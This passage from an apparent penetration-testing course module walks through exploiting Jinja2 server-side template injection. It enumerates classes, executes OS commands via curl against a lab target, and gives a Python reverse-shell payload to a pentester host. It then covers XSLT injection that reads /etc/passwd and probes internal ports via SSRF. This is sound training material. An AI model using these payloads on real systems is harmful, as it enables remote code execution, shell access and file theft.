'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'uuid.UUID'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'gettext.NullTranslations'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.scaffold.Scaffold'>, <class 'itsdangerous._json._CompactJSON'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'unicodedata.UCD'>, <class '__future__._Feature'>]</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<SNIP>
</body>
Let us print out the number and the method names using the following payload.
{% for i in range(450) %}
{{ i }}
{{ ''.__class__.__mro__[1].__subclasses__()[i].__name__ }}
{% endfor %}
root@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%25%20for%20i%20in%20range%28450%29%20%25%7D%20%7B%7B%20i%20%7D%7D%20%7B%7B%20%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5Bi%5D.__name__%20%7D%7D%20%7B%25%20endfor%20%25%7D"
<SNIP>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a> 0 type 1 weakref 2 weakcallableproxy 3 weakproxy 4 int 5 bytearray 6 bytes 7 list 8 NoneType 9 NotImplementedType 10 traceback 11 super 12 range 13 dict 14 dict_keys 15 dict_values 16 dict_items 17 dict_reversekeyiterator 18 dict_reversevalueiterator 19 dict_reverseitemiterator 20 odict_iterator 21 set 22 str 23 slice 24 staticmethod 25 complex 26 float 27 frozenset 28 property 29 managedbuffer 30 memoryview 31 tuple 32 enumerate 33 reversed 34 stderrprinter 35 code 36 frame 37 builtin_function_or_method 38 method 39 function 40 mappingproxy 41 generator 42 getset_descriptor 43 wrapper_descriptor 44 method-wrapper 45 ellipsis 46 member_descriptor 47 SimpleNamespace 48 PyCapsule 49 longrange_iterator 50 cell 51 instancemethod 52 classmethod_descriptor 53 method_descriptor 54 callable_iterator 55 iterator 56 PickleBuffer 57 coroutine 58 coroutine_wrapper 59 InterpreterID 60 EncodingMap 61 fieldnameiterator 62 formatteriterator 63 BaseException 64 hamt 65 hamt_array_node 66 hamt_bitmap_node 67 hamt_collision_node 68 keys 69 values 70 items 71 Context 72 ContextVar 73 Token 74 MISSING 75 moduledef 76 module 77 filter 78 map 79 zip 80 _ModuleLock 81 _DummyModuleLock 82 _ModuleLockManager 83 ModuleSpec 84 BuiltinImporter 85 classmethod 86 FrozenImporter 87 _ImportLockContext 88 _localdummy 89 _local 90 lock 91 RLock 92 _IOBase 93 _BytesIOBuffer 94 IncrementalNewlineDecoder 95 ScandirIterator 96 DirEntry 97 WindowsRegistryFinder 98 _LoaderBasics 99 FileLoader 100 _NamespacePath 101 _NamespaceLoader 102 PathFinder 103 FileFinder 104 zipimporter 105 _ZipImportResourceReader 106 Codec 107 IncrementalEncoder 108 IncrementalDecoder 109 StreamReaderWriter 110 StreamRecoder 111 _abc_data 112 ABC 113 dict_itemiterator 114 Hashable 115 Awaitable 116 AsyncIterable 117 async_generator 118 Iterable 119 bytes_iterator 120 bytearray_iterator 121 dict_keyiterator 122 dict_valueiterator 123 list_iterator 124 list_reverseiterator 125 range_iterator 126 set_iterator 127 str_iterator 128 tuple_iterator 129 Sized 130 Container 131 Callable 132 _wrap_close 133 Quitter 134 _Printer 135 _Helper 136 itemgetter 137 attrgetter 138 methodcaller 139 accumulate 140 combinations 141 combinations_with_replacement 142 cycle 143 dropwhile 144 takewhile 145 islice 146 starmap 147 chain 148 compress 149 filterfalse 150 count 151 zip_longest 152 permutations 153 product 154 repeat 155 groupby 156 _grouper 157 _tee 158 _tee_dataobject 159 Repr 160 deque 161 _deque_iterator 162 _deque_reverse_iterator 163 _tuplegetter 164 _Link 165 partial 166 _lru_cache_wrapper 167 partialmethod 168 singledispatchmethod 169 cached_property 170 DynamicClassAttribute 171 _GeneratorWrapper 172 auto 173 Enum 174 Pattern 175 Match 176 SRE_Scanner 177 State 178 SubPattern 179 Tokenizer 180 Scanner 181 Template 182 Formatter 183 ContextDecorator 184 _GeneratorContextManagerBase 185 _BaseExitStack 186 _Final 187 _Immutable 188 Generic 189 _TypingEmpty 190 _TypingEllipsis 191 NamedTuple 192 typing.io 193 typing.re 194 AST 195 _MarkupEscapeHelper 196 poll 197 epoll 198 BaseSelector 199 socket 200 _IterationGuard 201 WeakSet 202 _RLock 203 Condition 204 Semaphore 205 Event 206 Barrier 207 Thread 208 BaseServer 209 ForkingMixIn 210 _NoThreads 211 ThreadingMixIn 212 BaseRequestHandler 213 WarningMessage 214 catch_warnings 215 date 216 timedelta 217 time 218 tzinfo 219 _Info 220 finalize 221 sha384 222 sha512 223 Random 224 _ResultMixinStr 225 _ResultMixinBytes 226 _NetlocResultMixinBase 227 _localized_month 228 _localized_day 229 Calendar 230 different_locale 231 AddrlistClass 232 Struct 233 unpack_iterator 234 Charset 235 Header 236 _ValueFormatter 237 _PolicyBase 238 BufferedSubFile 239 FeedParser 240 Parser 241 BytesParser 242 Message 243 HTTPConnection 244 _SSLContext 245 _SSLSocket 246 MemoryBIO 247 Session 248 SSLObject 249 MimeTypes 250 Compress 251 Decompress 252 BZ2Compressor 253 BZ2Decompressor 254 LZMACompressor 255 LZMADecompressor 256 Bytecode 257 Untokenizer 258 BlockFinder 259 _void 260 _empty 261 Parameter 262 BoundArguments 263 Signature 264 FrameSummary 265 TracebackException 266 LogRecord 267 PercentStyle 268 Formatter 269 BufferingFormatter 270 Filter 271 Filterer 272 PlaceHolder 273 Manager 274 LoggerAdapter 275 _Missing 276 Aborter 277 Href 278 CompletedProcess 279 Popen 280 HASH 281 blake2b 282 blake2s 283 sha3_224 284 sha3_256 285 sha3_384 286 sha3_512 287 shake_128 288 shake_256 289 _RandomNameSequence 290 _TemporaryFileCloser 291 _TemporaryFileWrapper 292 SpooledTemporaryFile 293 TemporaryDirectory 294 Request 295 OpenerDirector 296 BaseHandler 297 HTTPPasswordMgr 298 AbstractBasicAuthHandler 299 AbstractDigestAuthHandler 300 URLopener 301 ftpwrapper 302 Cookie 303 CookiePolicy 304 Absent 305 CookieJar 306 ImmutableListMixin 307 ImmutableDictMixin 308 _omd_bucket 309 Headers 310 ImmutableHeadersMixin 311 IfRange 312 Range 313 ContentRange 314 FileStorage 315 _HAS_DEFAULT_FACTORY_CLASS 316 _MISSING_TYPE 317 _FIELD_BASE 318 InitVar 319 Field 320 _DataclassParams 321 Event 322 MultipartDecoder 323 MultipartEncoder 324 Finder 325 Loader 326 ResourceReader 327 ImpImporter 328 ImpLoader 329 HMAC 330 ClosingIterator 331 FileWrapper 332 _RangeWrapper 333 HTMLBuilder 334 AcceptMixin 335 AuthorizationMixin 336 WWWAuthenticateMixin 337 Scanner 338 Encoder 339 JSONDecoder 340 JSONEncoder 341 FormDataParser 342 MultiPartParser 343 UserAgent 344 _UserAgentParser 345 Request 346 StreamOnlyMixin 347 Response 348 ResponseStream 349 ResponseStreamMixin 350 CommonRequestDescriptorsMixin 351 CommonResponseDescriptorsMixin 352 ETagRequestMixin 353 ETagResponseMixin 354 UserAgentMixin 355 _TestCookieHeaders 356 _TestCookieResponse 357 EnvironBuilder 358 Client 359 Decimal 360 Context 361 SignalDictMixin 362 ContextManager 363 Number 364 UUID 365 Unpickler 366 Pickler 367 Pdata 368 PicklerMemoProxy 369 UnpicklerMemoProxy 370 _Framer 371 _Unframer 372 _Pickler 373 _Unpickler 374 Bucket 375 BytecodeCache 376 MissingType 377 LRUCache 378 Cycler 379 Joiner 380 Namespace 381 EvalContext 382 Node 383 NodeVisitor 384 Symbols 385 MacroRef 386 Frame 387 TemplateReference 388 Context 389 BlockReference 390 LoopContext 391 Macro 392 Undefined 393 NodeVisitor 394 Failure 395 TokenStreamIterator 396 TokenStream 397 Lexer 398 Parser 399 Environment 400 Template 401 TemplateModule 402 TemplateExpression 403 TemplateStream 404 BaseLoader 405 Local 406 LocalStack 407 LocalManager 408 _ProxyLookup 409 LocalProxy 410 SequenceMatcher 411 Differ 412 HtmlDiff 413 _safe_key 414 PrettyPrinter 415 RuleFactory 416 RuleTemplate 417 BaseConverter 418 Map 419 MapAdapter 420 NullTranslations 421 _FixupStream 422 _AtomicFile 423 LazyFile 424 KeepOpenFile 425 PacifyFlushWrapper 426 ParamType 427 Option 428 Argument 429 ParsingState 430 OptionParser 431 HelpFormatter 432 Context 433 BaseCommand 434 Parameter 435 Namespace 436 _FakeSignal 437 DispatchingApp 438 ScriptInfo 439 ConfigAttribute 440 _AppCtxGlobals 441 AppContext 442 RequestContext 443 Scaffold 444 _CompactJSON 445 SigningAlgorithm 446 Signer 447 Serializer 448 JSONTag 449 TaggedJSONSerializer </a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<SNIP>
</body>
As you can see in the application's response, catch_warnings is located at index #214.
We have everything we need to construct an RCE payload, such as the following.
{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').system("touch /tmp/test1") }}
root@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B214%5D%28%29._module.__builtins__%5B%27__import__%27%5D%28%27os%27%29.system%28%22touch%20%2Ftmp%2Ftest1%22%29%20%7D%7D"
<SNIP>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>0</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<SNIP>
</body>
The application returns 0 in its response. This is the return of the value of the command we just executed. 0 indicates that the command was executed without errors.
We can identify if test1 was created using the following payload.
{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').popen('ls /tmp').read()}}
root@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B214%5D%28%29._module.__builtins__%5B%27__import__%27%5D%28%27os%27%29.popen%28%27ls%20%2Ftmp%27%29.read%28%29%7D%7D"
<SNIP>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>test1
tmpv4tucw2b
</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<SNIP>
</body>
Now that we have gone through the payload development process, it's worth mentioning that we can use some specific functions to facilitate the exploitation of Jinja2 SSTI vulnerabilities. Those are request and lipsum. Feel free to submit them to this section's target.
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{lipsum.__globals__.os.popen('id').read()}}
A reverse shell can also be established through a payload such as the below.
{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').popen('python -c \'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<PENTESTER_IP>",<PENTESTER_PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\'').read()}}
Now, proceed to this section's exercise and complete the objective either by crafting the payload yourself or through a shell obtained with the help of tplmap.
Extensible Stylesheet Language Transformations (XSLT) is an XML-based language usually used when transforming XML documents into HTML, another XML document, or PDF. Extensible Stylesheet Language Transformations Server-Side Injection can occur when arbitrary XSLT file upload is possible or when an application generates the XSL Transformation’s XML document dynamically using unvalidated input from the user.
Depending on the case, XSLT uses built-in functions and the XPATH language to transform a document either in the browser or the server. Extensible Stylesheet Language Transformations are present in some web applications as standalone functionality, SSI engines, and databases like Oracle. At the time of writing, there are 3 (1, 2, 3) XSLT versions. Version 1 is the least interesting from an attacker's perspective due to the limited built-in functionality. The most used XSLT-related projects are LibXSLT, Xalan, and Saxon. To exploit XSLT Injections, we need to store malicious tags on the server-side and access that content.
Let us experiment with XSLT by using a combination of Saxon with XSLT Version 2.
First, install the required packages on Pwnbox or a local VM, as follows:
Installation of required packages
Attacking XSLT
root@htb[/htb]$ sudo apt install default-jdk libsaxon-java libsaxonb-java
Next, create the following files:
catalogue.xml
Code: xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>Empire Burlesque</title>
<artist>Bob Dylan</artist>
<country>USA</country>
<company>Columbia</company>
<price>10.90</price>
<year>1985</year>
</cd>
<cd>
<title>Hide your heart</title>
<artist>Bonnie Tyler</artist>
<country>UK</country>
<company>CBS Records</company>
<price>9.90</price>
<year>1988</year>
</cd>
<cd>
<title>Greatest Hits</title>
<artist>Dolly Parton</artist>
<country>USA</country>
<company>RCA</company>
<price>9.90</price>
<year>1982</year>
</cd>
<cd>
<title>Still got the blues</title>
<artist>Gary Moore</artist>
<country>UK</country>
<company>Virgin records</company>
<price>10.20</price>
<year>1990</year>
</cd>
<cd>
<title>Eros</title>
<artist>Eros Ramazzotti</artist>
<country>EU</country>
<company>BMG</company>
<price>9.90</price>
<year>1997</year>
</cd>
<cd>
<title>One night only</title>
<artist>Bee Gees</artist>
<country>UK</country>
<company>Polydor</company>
<price>10.90</price>
<year>1998</year>
</cd>
<cd>
<title>Sylvias Mother</title>
<artist>Dr.Hook</artist>
<country>UK</country>
<company>CBS</company>
<price>8.10</price>
<year>1973</year>
</cd>
<cd>
<title>Maggie May</title>
<artist>Rod Stewart</artist>
<country>UK</country>
<company>Pickwick</company>
<price>8.50</price>
<year>1990</year>
</cd>
<cd>
<title>Romanza</title>
<artist>Andrea Bocelli</artist>
<country>EU</country>
<company>Polydor</company>
<price>10.80</price>
<year>1996</year>
</cd>
<cd>
<title>When a man loves a woman</title>
<artist>Percy Sledge</artist>
<country>USA</country>
<company>Atlantic</company>
<price>8.70</price>
<year>1987</year>
</cd>
<cd>
<title>Black angel</title>
<artist>Savage Rose</artist>
<country>EU</country>
<company>Mega</company>
<price>10.90</price>
<year>1995</year>
</cd>
<cd>
<title>1999 Grammy Nominees</title>
<artist>Many</artist>
<country>USA</country>
<company>Grammy</company>
<price>10.20</price>
<year>1999</year>
</cd>
<cd>
<title>For the good times</title>
<artist>Kenny Rogers</artist>
<country>UK</country>
<company>Mucik Master</company>
<price>8.70</price>
<year>1995</year>
</cd>
<cd>
<title>Big Willie style</title>
<artist>Will Smith</artist>
<country>USA</country>
<company>Columbia</company>
<price>9.90</price>
<year>1997</year>
</cd>
<cd>
<title>Tupelo Honey</title>
<artist>Van Morrison</artist>
<country>UK</country>
<company>Polydor</company>
<price>8.20</price>
<year>1971</year>
</cd>
<cd>
<title>Soulsville</title>
<artist>Jorn Hoel</artist>
<country>Norway</country>
<company>WEA</company>
<price>7.90</price>
<year>1996</year>
</cd>
<cd>
<title>The very best of</title>
<artist>Cat Stevens</artist>
<country>UK</country>
<company>Island</company>
<price>8.90</price>
<year>1990</year>
</cd>
<cd>
<title>Stop</title>
<artist>Sam Brown</artist>
<country>UK</country>
<company>A and M</company>
<price>8.90</price>
<year>1988</year>
</cd>
<cd>
<title>Bridge of Spies</title>
<artist>T`Pau</artist>
<country>UK</country>
<company>Siren</company>
<price>7.90</price>
<year>1987</year>
</cd>
<cd>
<title>Private Dancer</title>
<artist>Tina Turner</artist>
<country>UK</country>
<company>Capitol</company>
<price>8.90</price>
<year>1983</year>
</cd>
<cd>
<title>Midt om natten</title>
<artist>Kim Larsen</artist>
<country>EU</country>
<company>Medley</company>
<price>7.80</price>
<year>1983</year>
</cd>
<cd>
<title>Pavarotti Gala Concert</title>
<artist>Luciano Pavarotti</artist>
<country>UK</country>
<company>DECCA</company>
<price>9.90</price>
<year>1991</year>
</cd>
<cd>
<title>The dock of the bay</title>
<artist>Otis Redding</artist>
<country>USA</country>
<company>Stax Records</company>
<price>7.90</price>
<year>1968</year>
</cd>
<cd>
<title>Picture book</title>
<artist>Simply Red</artist>
<country>EU</country>
<company>Elektra</company>
<price>7.20</price>
<year>1985</year>
</cd>
<cd>
<title>Red</title>
<artist>The Communards</artist>
<country>UK</country>
<company>London</company>
<price>7.80</price>
<year>1987</year>
</cd>
<cd>
<title>Unchain my heart</title>
<artist>Joe Cocker</artist>
<country>USA</country>
<company>EMI</company>
<price>8.20</price>
<year>1987</year>
</cd>
</catalog>
transformation.xsl
Code: xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>My CD Collection</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>Artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
We need to understand the XSLT format to see how the transformation works.
xsl:stylesheetxsl:template match="<PATH>". In this case, it will apply to any XML node.<xsl:value-of select="<NODE>/<SUBNODE>/<VALUE>"/>.To see the results, we will use the command line parser. This can be done as follows:
Transformation through the terminal
Attacking XSLT
root@htb[/htb]$ saxonb-xslt -xsl:transformation.xsl catalogue.xml
Warning: at xsl:stylesheet on line 3 column 50 of transformation.xslt:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>My CD Collection</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>Artist</th>
</tr>
<tr>
<td>Empire Burlesque</td>
<td>Bob Dylan</td>
</tr>
</table>
</body>
</html>
The following file can be used to detect the underlying preprocessor.
detection.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/>
<xsl:template match="/">
<h2>XSLT identification</h2>
<b>Version:</b> <xsl:value-of select="system-property('xsl:version')"/><br/>
<b>Vendor:</b> <xsl:value-of select="system-property('xsl:vendor')" /><br/>
<b>Vendor URL:</b><xsl:value-of select="system-property('xsl:vendor-url')" /><br/>
</xsl:template>
</xsl:stylesheet>
Let us now run the previous command, but this time, using the detection.xsl file.
Transformation through the terminal
root@htb[/htb]$ saxonb-xslt -xsl:detection.xsl catalogue.xml
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
Based on the preprocessor, we can go to the XSLT documentation for this version to identify functions of interest, such as the below.
unparsed-text can be used to read local files.readfile.xsl
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
Transformation through the terminal
root@htb[/htb]$ saxonb-xslt -xsl:readfile.xsl catalogue.xml
Warning: at xsl:stylesheet on line 1 column 111 of readfile.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
<SNIP>
xsl:include can be used to perform SSRFWe can also mount SSRF attacks if we have control over the transformation.
ssrf.xsl
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:5000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
Transformation through the terminal
root@htb[/htb]$ saxonb-xslt -xsl:ssrf.xsl catalogue.xml
Warning: at xsl:stylesheet on line 1 column 111 of ssrf.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
Error at xsl:include on line 2 column 49 of ssrf.xsl:
XTSE0165: java.io.FileNotFoundException: http://127.0.0.1:5000/xslt
Failed to compile stylesheet. 1 error detected.
root@htb[/htb]$ saxonb-xslt -xsl:ssrf.xsl catalogue.xml
Warning: at xsl:stylesheet on line 1 column 111 of ssrf.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
Error at xsl:include on line 2 column 49 of ssrf.xsl:
XTSE0165: java.net.ConnectException: Connection refused (Connection refused)
Failed to compile stylesheet. 1 error detected.
Check the different responses above when we hit an open or closed port. If you want to try this yourself in Pwnbox or a local machine, try executing the saxonb-xslt command above one time with nothing listening on port 5000 and one time with an HTTP server listening on port 5000 (sudo python3 -m http.server 5000 in a separate tab or terminal).
We presented some tech-stack-identification XSL files at the beginning of this section. Below is one more, larger than the previous ones. Try using it to reproduce the example above.
fingerprinting.xsl
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
Transformation through the terminal
root@htb[/htb]$ saxonb-xslt -xsl:fingerprinting.xsl catalogue.xml
Warning: at xsl:stylesheet on line 2 column 80 of fingerprinting.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>
Version: 2.0<br/>
Vendor: SAXON 9.1.0.8 from Saxonica<br/>
Vendor URL: http://www.saxonica.com/<br/>
Product Name: SAXON<br/>
Product Version: 9.1.0.8<br/>
Is Schema Aware ?: no<br/>
Supports Serialization: <br/>
Supports Backwards Compatibility: <br/>
We can also use the following wordlist for brute-forcing functionality available in target applications.